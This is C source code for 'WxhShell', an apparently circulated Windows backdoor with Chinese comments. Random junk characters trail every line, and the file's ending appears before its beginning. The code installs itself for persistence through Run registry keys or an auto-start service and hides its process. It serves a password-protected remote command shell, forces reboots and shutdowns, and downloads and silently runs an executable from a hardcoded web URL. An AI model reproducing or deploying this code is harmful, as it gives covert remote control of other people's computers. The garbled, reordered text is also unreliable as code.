    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]%(2hY~i  
    else { QCJM&  
    closesocket(wsh); oXS}IL og'  
    ExitThread(0); H[|~/0?K  
    } ?1".;foZ  
    break; _XT pU  
    } /7LR;>Bj  
  // 获取shell -^wl>}#*T3  
  case 's': { =Runf +}  
    CmdShell(wsh); |&jXp%4T  
    closesocket(wsh); {:W$LWET  
    ExitThread(0); Vz[C=_m  
    break; -.3w^D"l  
  } @|)Z"m7  
  // 退出 L8n|m!MOD  
  case 'x': { qY#6SO`_iy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~_ a-E  
    CloseIt(wsh); 5:U so{  
    break; Qci]i)s$js  
    } -{_PuJ "  
  // 离开 =":,.Ttq41  
  case 'q': {  LIdF 0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hr4}3.8  
    closesocket(wsh); O1kl70,`R  
    WSACleanup(); L4f3X~8,b  
    exit(1); 9C i-v/M]  
    break; GH xp7H  
        } DeYV$W B  
  } yppo6HGD  
  } D3A/l  
S@sO;-^+  
  // 提示信息 u-C)v*#L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s<o7!!c  
} iyog`s c  
  } 39jG8zr=Z[  
TB^$1C  
  return; w*MpX U<  
} wdZ/Xp9]  
#89!'W  
// shell模块句柄 =rK+eG#,  
int CmdShell(SOCKET sock) >OK^D+v"j  
{ 8.~kK<)!  
STARTUPINFO si;  yOKI*.}  
ZeroMemory(&si,sizeof(si)); abEmRJTmW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -!9G0h&i|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  Mc}^LDX  
PROCESS_INFORMATION ProcessInfo; Y4(  
char cmdline[]="cmd"; l lsfTrp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *\q d  
  return 0; MJrR[h]  
} 'P}0FktP`  
(4EI-e*6  
// 自身启动模式 3yXY.>'  
int StartFromService(void) ],v=]+R  
{ {}Za_(Y,]  
typedef struct y)gKxRaCS  
{ +'w3 =2Bo  
  DWORD ExitStatus; r"R#@V\'1b  
  DWORD PebBaseAddress; cFWc<55aX6  
  DWORD AffinityMask; FsryEHz  
  DWORD BasePriority; 188*XCtjQ9  
  ULONG UniqueProcessId; 5PnDN\  
  ULONG InheritedFromUniqueProcessId; k;L6R!V  
}   PROCESS_BASIC_INFORMATION; 5 u0HI  
BF<ikilR  
PROCNTQSIP NtQueryInformationProcess; Z(!\% mn  
!? gKqx'T$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2 Vrw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ` ~`k_7t.  
IaXeRq?<  
  HANDLE             hProcess; 6JQ'Ik;$wX  
  PROCESS_BASIC_INFORMATION pbi; O7IJ%_A&  
8&aq/4:q0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J)C/u{o  
  if(NULL == hInst ) return 0; K96<M);:g  
!0cD$^7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "-J -k=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O1mKe%'|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,4oo=&  
xZv#Es%#  
  if (!NtQueryInformationProcess) return 0; pV"R|{#V  
jalg5`PU0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @|%2f@h  
  if(!hProcess) return 0; nj53G67y  
Wiu"k%Qsh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U`m54f@U  
{Dmjm{   
  CloseHandle(hProcess); C73 kJa  
?1eK#Z.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fwf$Co+R:*  
if(hProcess==NULL) return 0; $p?aVO  
{!dVDf_  
HMODULE hMod; !I Qck8Y  
char procName[255]; `^y7f  
unsigned long cbNeeded; n=ux5M  
( ICd}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j,dR,Nd  
}U9G    
  CloseHandle(hProcess); u-5{U-^_  
*=7U4W  
if(strstr(procName,"services")) return 1; // 以服务启动 ,nB5/Lx  
tC9n k5~  
  return 0; // 注册表启动 HoL Et8Q  
} 3kMf!VL  
[1 9,&]z  
// 主模块 KyQX!,rV  
int StartWxhshell(LPSTR lpCmdLine) Hg$lXtn]  
{ w G<yBI0  
  SOCKET wsl; 46&/gehr  
BOOL val=TRUE; NPe%F+X  
  int port=0; <HVt V9R  
  struct sockaddr_in door; EJNU761  
7VFLJr t  
  if(wscfg.ws_autoins) Install(); ITT@,  
vOpK Np  
port=atoi(lpCmdLine); %n:k#  
b`O'1r\Y;  
if(port<=0) port=wscfg.ws_port; KNIn:K^/  
5,6"&vU,  
  WSADATA data; u^qT2Ss0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ah+iZ}E%  
"5wa91*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X*@dj_,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _t #k,;  
  door.sin_family = AF_INET; 9c :cw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ` v@m-j6  
  door.sin_port = htons(port); ~AT'[(6  
wT8DSq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'u |c  
closesocket(wsl); tHwMX1 IG  
return 1; @wNG{Stj  
} 6MMOf\   
BeoDKdAwY  
  if(listen(wsl,2) == INVALID_SOCKET) { JHTSUq  
closesocket(wsl); o="M  
return 1; -fHy-Oh  
} 8&`LYdzt  
  Wxhshell(wsl); J,y[[CdH`  
  WSACleanup(); wyO4Y  
}oGA-Qc}B  
return 0; U/l&tmIVY  
'Xq| Kf (  
} s{\8om '-  
<+vw@M  
// 以NT服务方式启动 +Kbjzh3<wG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _C[q4?  
{ F%D.zvKN  
DWORD   status = 0; 9H`XeQ.  
  DWORD   specificError = 0xfffffff; RO/FF<f  
GH:jH]u!V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G^4hd i3@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '^~{@~ ;%L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 65$+{s  
  serviceStatus.dwWin32ExitCode     = 0; *VhL\IjN]  
  serviceStatus.dwServiceSpecificExitCode = 0; MJ [m  
  serviceStatus.dwCheckPoint       = 0; LR.<&m%~.  
  serviceStatus.dwWaitHint       = 0; 41?HY{&2  
A1>OY^p3%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oso#+  
  if (hServiceStatusHandle==0) return; WX|`1b  
~^fZx5  
status = GetLastError(); j0evq+  
  if (status!=NO_ERROR) G[I"8iS,  
{ JL}_72gs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dV$gB<iS  
    serviceStatus.dwCheckPoint       = 0; Y;^l%ePuW  
    serviceStatus.dwWaitHint       = 0; d K3*;  
    serviceStatus.dwWin32ExitCode     = status; }"%?et(  
    serviceStatus.dwServiceSpecificExitCode = specificError; E GU 0)<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X296tA>C`  
    return; 9BBmw(M}  
  } 0 e ~JMUb  
c"V"zg22  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3/e.38m|  
  serviceStatus.dwCheckPoint       = 0; EPM-df!=  
  serviceStatus.dwWaitHint       = 0; -Xm'dwm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RF4vtQC=  
} ;1O_M9  
tKx~1-  
// 处理NT服务事件,比如:启动、停止 jrr*!^4|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mhf5bN|wQ  
{ &n}f?  
switch(fdwControl) qCpp6~]Um  
{ }1i`6`y1  
case SERVICE_CONTROL_STOP: VfC<WVYiZ  
  serviceStatus.dwWin32ExitCode = 0; A:N|\Mv2b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O6a<`]F  
  serviceStatus.dwCheckPoint   = 0; wX5tp1 ?1J  
  serviceStatus.dwWaitHint     = 0; ipgC RHE  
  { })8N5C+KU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `WFw3TI  
  } aPfO$b:  
  return; J1RJ*mo7,  
case SERVICE_CONTROL_PAUSE: A,hJIe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cyv`B3}  
  break; udUyh%n  
case SERVICE_CONTROL_CONTINUE: j0S# >t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )SRefW.v  
  break; Gm.T;fc:  
case SERVICE_CONTROL_INTERROGATE: u jq=F  
  break; 9gEwh<  
}; O/a4]r+_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]kRfB:4ED  
} J0\Fhe0'  
}mq6]ZrK  
// 标准应用程序主函数 E }Z/*lX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BsqP?/  
{ [-k  
u#;7<.D  
// 获取操作系统版本 (%e .:W${  
OsIsNt=GetOsVer(); Tx=-Bb~;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wb5baY9  
tip+q d  
  // 从命令行安装 OSWYGnZg  
  if(strpbrk(lpCmdLine,"iI")) Install(); R_ ,UMt  
2U\u4N O{  
  // 下载执行文件 K'Tm_"[u  
if(wscfg.ws_downexe) { ," Wr"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I{9QeR I  
  WinExec(wscfg.ws_filenam,SW_HIDE); >WQMqQ^t@  
} O-~ 7b(Z  
&<5zqsNJ\a  
if(!OsIsNt) { wh\}d4gN  
// 如果时win9x,隐藏进程并且设置为注册表启动 2"kLdD  
HideProc(); YY((V@|K  
StartWxhshell(lpCmdLine); nE&@Q  
} >:S?Mnv6  
else EQyC1j  
  if(StartFromService()) LX7FaW  
  // 以服务方式启动 '4Ixqb+  
  StartServiceCtrlDispatcher(DispatchTable); 4Lh!8g=/  
else ;R5`"`  
  // 普通方式启动 ~u!|qM  
  StartWxhshell(lpCmdLine); k)= X}=w  
_8riUt  
return 0; ]kG"ubHV?h  
} $@Rxrx_@M  
#ASz;$P  
U;V7 u/{  
lL3kh J:%  
=========================================== uK#4(eY=W  
dTC7Fm  
~xfP:[u  
gsv uE  
a 3b/e8c  
goRL1L,5  
" f/NH:1)y  
?(y*nD[a  
#include <stdio.h>  |`f$tj  
#include <string.h> Av$^  
#include <windows.h> 7 60Y$/Wz  
#include <winsock2.h> ?m=N]!n  
#include <winsvc.h> 1k5Who@  
#include <urlmon.h> :q7Wy&ow  
k\YG^I  
#pragma comment (lib, "Ws2_32.lib") UcDS9f_87  
#pragma comment (lib, "urlmon.lib") axRV:w;E<  
[b<oDX#  
#define MAX_USER   100 // 最大客户端连接数 a %'the  
#define BUF_SOCK   200 // sock buffer _AYK435>N  
#define KEY_BUFF   255 // 输入 buffer RtP2]O(F  
Xy&A~F  
#define REBOOT     0   // 重启 V _/%b)*  
#define SHUTDOWN   1   // 关机 e *(!^Q1  
}DE g-j,F  
#define DEF_PORT   5000 // 监听端口 B5VKs,g  
e7r -R3_  
#define REG_LEN     16   // 注册表键长度 9ni1f{k  
#define SVC_LEN     80   // NT服务名长度  $s c  
dA`IEQJL  
// 从dll定义API #$+*;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3cyHfpx-W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p8H'{f\G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i2A81>68<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A*R^n}sh  
| y# Jx  
// wxhshell配置信息 S8w _ii3zd  
struct WSCFG { v ~?qz5:K~  
  int ws_port;         // 监听端口 >,Ci?[pf  
  char ws_passstr[REG_LEN]; // 口令 B6nX$T4zP  
  int ws_autoins;       // 安装标记, 1=yes 0=no ' !cCMTj  
  char ws_regname[REG_LEN]; // 注册表键名 (KD RkE|=  
  char ws_svcname[REG_LEN]; // 服务名 ksqQM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `$<.pOm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m 3hrb-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Nk 8B_{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7Lc]HSZo,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mPK:R^RjG&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o>i4CCU+  
g i-$Z FzB  
}; 4*#18<u5  
H8zK$!  
// default Wxhshell configuration V-2(?auZd  
struct WSCFG wscfg={DEF_PORT, nH'e?>x~e  
    "xuhuanlingzhe", @R"JW\bd  
    1, gNrjo=  
    "Wxhshell", UiP"Ixg6  
    "Wxhshell", 6|%?tex  
            "WxhShell Service", GL0L!="!  
    "Wrsky Windows CmdShell Service", bMu+TgAT,  
    "Please Input Your Password: ", vHc%z$-d  
  1, @#>rYAb8,  
  "http://www.wrsky.com/wxhshell.exe", SC!RbW@3  
  "Wxhshell.exe" FP`b>E qOH  
    }; 4JXeV&5Qk'  
7~% ?#  
// 消息定义模块 3`|@H-c9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G1tY)_-8[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0c]/bs{}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vY}g<*  
char *msg_ws_ext="\n\rExit."; t?&|8SId  
char *msg_ws_end="\n\rQuit."; \ gGW8Q;  
char *msg_ws_boot="\n\rReboot..."; Z'W =\rl  
char *msg_ws_poff="\n\rShutdown..."; KVaiugQ   
char *msg_ws_down="\n\rSave to "; VG#EdIiI  
vjCu4+w($Z  
char *msg_ws_err="\n\rErr!"; zOIDU  
char *msg_ws_ok="\n\rOK!"; ^4hO  
1~`fVg  
char ExeFile[MAX_PATH]; HTS0s\R$  
int nUser = 0; EhvX)s  
HANDLE handles[MAX_USER]; 9c'xHO`  
int OsIsNt; f:w?pE  
CL;}IBd a  
SERVICE_STATUS       serviceStatus; ~.nmI&3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~2N"#b&J  
_pG-qK  
// 函数声明 qLG&WB  
int Install(void); RFcv^Xf  
int Uninstall(void); fk>aqm7D!  
int DownloadFile(char *sURL, SOCKET wsh); IGQFtO/x  
int Boot(int flag); ) 7@ `ut  
void HideProc(void); +oML&g-g_  
int GetOsVer(void); gp?uHKsM  
int Wxhshell(SOCKET wsl); 6ex/TySM  
void TalkWithClient(void *cs); : /N0!&7  
int CmdShell(SOCKET sock); 9};8?mucr  
int StartFromService(void); yu|8_<bq  
int StartWxhshell(LPSTR lpCmdLine); FUb\e-Q=  
+Q)XH>jh   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !zpRrx_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k FD; i  
~&{S<Wl  
// 数据结构和表定义 'ya{9EdlT  
SERVICE_TABLE_ENTRY DispatchTable[] = yYYSeH  
{ ^*Q ?]N  
{wscfg.ws_svcname, NTServiceMain}, 7"x;~X  
{NULL, NULL} g%I"U>!2  
}; xml7Uarc  
|F[+k e  
// 自我安装 -20bPiM$A  
int Install(void) hEH?[>9  
{ 9>/4W.  
  char svExeFile[MAX_PATH]; iC~^)-~H=w  
  HKEY key; 9T9!kb  
  strcpy(svExeFile,ExeFile); 5 PJhEB  
}C?'BRX  
// 如果是win9x系统,修改注册表设为自启动 =v&hWjP  
if(!OsIsNt) { >Q;l(fdj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n'LrQU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [yQt^!;  
  RegCloseKey(key); _8J.fT$${  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sb*G!8j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !;{7-~  
  RegCloseKey(key); HM1Fz\Sf  
  return 0; q~o<*W   
    } :\c ^*K(9  
  } ie95rZp  
} a#k6&3m&  
else { P|E| $)m  
 8q!]y6  
// 如果是NT以上系统,安装为系统服务 1(R}tRR7R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZvX*t)VjTz  
if (schSCManager!=0) E CuH%b^,  
{ %)1?TU  
  SC_HANDLE schService = CreateService i9|Sa6vuI  
  ( fU}ub2_in  
  schSCManager, "+nRGEs6  
  wscfg.ws_svcname, @*XV`_!h  
  wscfg.ws_svcdisp,  4e7-0}0  
  SERVICE_ALL_ACCESS, s 5Qcl;}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ksUcx4;a@F  
  SERVICE_AUTO_START, -d/ =5yxL  
  SERVICE_ERROR_NORMAL, yx[/|nZDC4  
  svExeFile, /Cr%{'Pzk  
  NULL, xLajso1g69  
  NULL, o:'MpKm  
  NULL, )dw'BNz5hT  
  NULL, *:7rdzn  
  NULL v!-pSa)3  
  ); q YQl,w  
  if (schService!=0) !9e=_mY  
  { ~G&dqw/.-U  
  CloseServiceHandle(schService); 'JE`(xD  
  CloseServiceHandle(schSCManager); V=l0(03j~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wvh#:Z  
  strcat(svExeFile,wscfg.ws_svcname); _ 4~+{l+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q3~H{)[Kq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nh|uO?&C6  
  RegCloseKey(key); =y*IfG9b  
  return 0; <'Eme  
    }  K5h  
  } t =iIY`Md%  
  CloseServiceHandle(schSCManager); H%td hu\e  
} h;"4+uw  
} ?l{nk5,?-Y  
C{rcs'  
return 1; hi( ;;C9  
} 2F.;;Ab  
ADzhNf S  
// 自我卸载 'IQ0{&EI  
int Uninstall(void) ]%H`_8<gc  
{ q54]1TQ  
  HKEY key; tDcT%D {:  
"(O>=F&  
if(!OsIsNt) { #trK^(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (?c"$|^J  
  RegDeleteValue(key,wscfg.ws_regname); Rhs/3O8k  
  RegCloseKey(key); 7n<{tM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UI0VtR]   
  RegDeleteValue(key,wscfg.ws_regname); +O{*M9 B  
  RegCloseKey(key); Zu[su>\  
  return 0; _V6ukd"B~  
  } b8UO,fY q  
} wn%A4-%{  
} p6V0`5@t  
else { $6 f3F?y7  
^ZcGY+/~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TD0 B%  
if (schSCManager!=0) /([kh~a  
{ ;)*eo_tQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %tGO?JMkd  
  if (schService!=0) Bwxd&;E  
  { \R_C&=  
  if(DeleteService(schService)!=0) { Ti5-6%~&  
  CloseServiceHandle(schService); _G@GpkSe>  
  CloseServiceHandle(schSCManager); ZY+qA  
  return 0; ;A*]l' [-  
  } oMa6(3T?E  
  CloseServiceHandle(schService); I\ob7X'Xu!  
  } m:2^= l4  
  CloseServiceHandle(schSCManager); NXrlk  
} CD~.z7,LC  
} >kVz49j  
L="}E rmK  
return 1; >y 3=|  
} U5de@Y  
h2R::/2.  
// 从指定url下载文件 #\m<Sz5Gp#  
int DownloadFile(char *sURL, SOCKET wsh) gM:".Ee  
{ (\x]YMLH  
  HRESULT hr; wIt}dc  
char seps[]= "/"; Fx.=#bVX7  
char *token; #_p\Ie*rd  
char *file; sO@Tf\d  
char myURL[MAX_PATH]; UaeXY+O  
char myFILE[MAX_PATH]; B]tQ(s~  
O\ r0bUPE  
strcpy(myURL,sURL); {P_.~0pc*  
  token=strtok(myURL,seps); 6i/(5 nQ  
  while(token!=NULL) .ioEI sg  
  { b ]KBgZ  
    file=token; %'pgGC"|  
  token=strtok(NULL,seps); FZn w0tMq  
  } 3!]rmZ-W  
(GfZ*  
GetCurrentDirectory(MAX_PATH,myFILE); =Xr.'(U  
strcat(myFILE, "\\"); KZf+MSq? B  
strcat(myFILE, file); Q~Wqy~tS  
  send(wsh,myFILE,strlen(myFILE),0); s$j,9uRr  
send(wsh,"...",3,0); InI$:kJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ww1[rCh\+  
  if(hr==S_OK) -iZ`Y?  
return 0; #H~64/  
else ~t~|"u"P  
return 1; 0g8NHkM:2a  
K-Ef%a2#`  
} ]Y&VT7+Z  
;$g?T~v7  
// 系统电源模块 @r1_U,0e  
int Boot(int flag) 5{,<j\#L  
{ 9pfIzs su3  
  HANDLE hToken; ECmW`#Otb)  
  TOKEN_PRIVILEGES tkp; Z% UP6%  
,ig/s2ZG6X  
  if(OsIsNt) { $XH^~i;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Eu3E-K@y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ");a3hD  
    tkp.PrivilegeCount = 1; `R^gU]Z,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $6IJ P\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Nh +H9  
if(flag==REBOOT) { 5z)~\;[ -  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }Q+|W=2t  
  return 0; JBZ@'8eqi]  
} F#E3q|Q"BS  
else { @=u3ZVD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JucY[`|JV  
  return 0; jL}v9$  
} OY({.uVdX  
  } \9EjClf o  
  else { E]r?{t`]  
if(flag==REBOOT) { w0unS`\4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |R:'\+E  
  return 0; wMN]~|z>  
} dPRra{  
else { WNc0W>*NE1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *LY8D<:zs  
  return 0; U6s[`H3I{  
} f|(M.U-  
} xT2PyI_:  
9>#6*/Oa7  
return 1; K*dCc}:`  
} \|[;Z"4l  
G3v5KmT  
// win9x进程隐藏模块  %;!.n{X  
void HideProc(void) \_fv7Fdp{  
{ |y!A&d=xYn  
V=3b&TkE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DtnEi4h,  
  if ( hKernel != NULL ) ],].zlN  
  { \'j|BJ~L f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); % & bY]w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,hmL/K0"(5  
    FreeLibrary(hKernel); &)<)^.@3G^  
  } sDV Q#}a  
Cgc\ ah  
return; =2x^nW  
} 7 X4LJf  
2:ylv<\$  
// 获取操作系统版本 \73ch  
int GetOsVer(void) 32 =z)]FZ  
{  9gZ$   
  OSVERSIONINFO winfo; `r_/Wt{g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )!T/3|C  
  GetVersionEx(&winfo); Xn ;AZu^'R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >(RkZ}z  
  return 1; jc9y<{~x/  
  else +ck}l2&#  
  return 0; .N(p=9  
} bZV/l4TU  
%8x#rohP  
// 客户端句柄模块 /a o5FL  
int Wxhshell(SOCKET wsl) U/BR*Zn]*  
{ :M5l*sIO2  
  SOCKET wsh; zx7{U8*`<  
  struct sockaddr_in client; zdH kG_PT  
  DWORD myID; 5kXYeP3:  
?bu>r=oIO]  
  while(nUser<MAX_USER) F6dP,(  
{ :U x_qB  
  int nSize=sizeof(client); HpnWo DM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z%\,w(o[h  
  if(wsh==INVALID_SOCKET) return 1; GPkpXVm  
#LOwGJ$yVz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 40 0#v|b  
if(handles[nUser]==0) v.5+7,4  
  closesocket(wsh); YK~%xo  
else 1-QS~)+  
  nUser++; SX-iAS[<  
  } T]p-0?=4vv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uW3!Yg@  
WjqO@]P6  
  return 0; 4E?Oky#}-  
} >&k-'`Nw  
t0 ?\l)  
// 关闭 socket POR\e|hRT]  
void CloseIt(SOCKET wsh) L j$;:/G  
{ \nqS+on]  
closesocket(wsh); G*v,GR  
nUser--; ?0xgRe<  
ExitThread(0); &jr3B;g!C  
} KY] C6kh  
N,U8YO  
// 客户端请求句柄 ;jTN | i'  
void TalkWithClient(void *cs) 7"xd1l?zz  
{ O|UC ?]6  
{FTqu.  
  SOCKET wsh=(SOCKET)cs; nt.y !k  
  char pwd[SVC_LEN]; WOf 4o  
  char cmd[KEY_BUFF]; ]M'=^32  
char chr[1]; L&OwPd  
int i,j; 61 ~upQaR  
ItTz.sQ  
  while (nUser < MAX_USER) { BL58] P84  
RzusNS  
if(wscfg.ws_passstr) { $u6 3]rypm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H 7 ^/q7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~< x:q6  
  //ZeroMemory(pwd,KEY_BUFF); y18Y:)DkL  
      i=0; 6\S~P/PkE  
  while(i<SVC_LEN) { 9]@!S|1  
*HB-QIl  
  // 设置超时 /,Jqmm#s^  
  fd_set FdRead; R_xRp&5  
  struct timeval TimeOut; .w ,q0<}  
  FD_ZERO(&FdRead); HE_8(Ms ;8  
  FD_SET(wsh,&FdRead); 9Lfv^V0  
  TimeOut.tv_sec=8; 5ms(Wd  
  TimeOut.tv_usec=0; G9vpt M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G9@0@2aY8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *k>n<p3dd  
Q)z8PQl O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <_KIK  
  pwd=chr[0]; -n5)w*b,  
  if(chr[0]==0xd || chr[0]==0xa) { VOh4#%Vj  
  pwd=0; $, fX:x  
  break; y L~W.H  
  } -1@<=jX3_  
  i++; ?@ $r  
    } `pZm?}K  
Lq!>kT<]!  
  // 如果是非法用户,关闭 socket ;P&OX5~V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0'o:#-  
} w"&n?L  
 1ZB"EQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ef E.&]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $]2vvr  
8qu6.  
while(1) { LB?u8>a' I  
%GIr&V4|  
  ZeroMemory(cmd,KEY_BUFF); -;k+GrLr^  
"Os_vlapHo  
      // 自动支持客户端 telnet标准   xFg>SJ7]  
  j=0; wo 5   
  while(j<KEY_BUFF) { SOvF[,+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `n?DU;,  
  cmd[j]=chr[0]; c-FcEW  
  if(chr[0]==0xa || chr[0]==0xd) { T37XBg H  
  cmd[j]=0; %BB%pC  
  break; ]L}dzA?:  
  } j^2j& Ta  
  j++; U_c*6CK  
    } 7W.~  
yyy|Pw4:Z  
  // 下载文件 PRE|+=w$  
  if(strstr(cmd,"http://")) { 6Sn.I1Wy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QUQ'3  
  if(DownloadFile(cmd,wsh)) `,*5wBC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1D!<'`)AY  
  else #@nezu2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LC!bIm5'  
  } t}tEvh  
  else { D=&Me=$  
K8Y=S12Ti  
    switch(cmd[0]) { 4)o  
  x;<W&s}(  
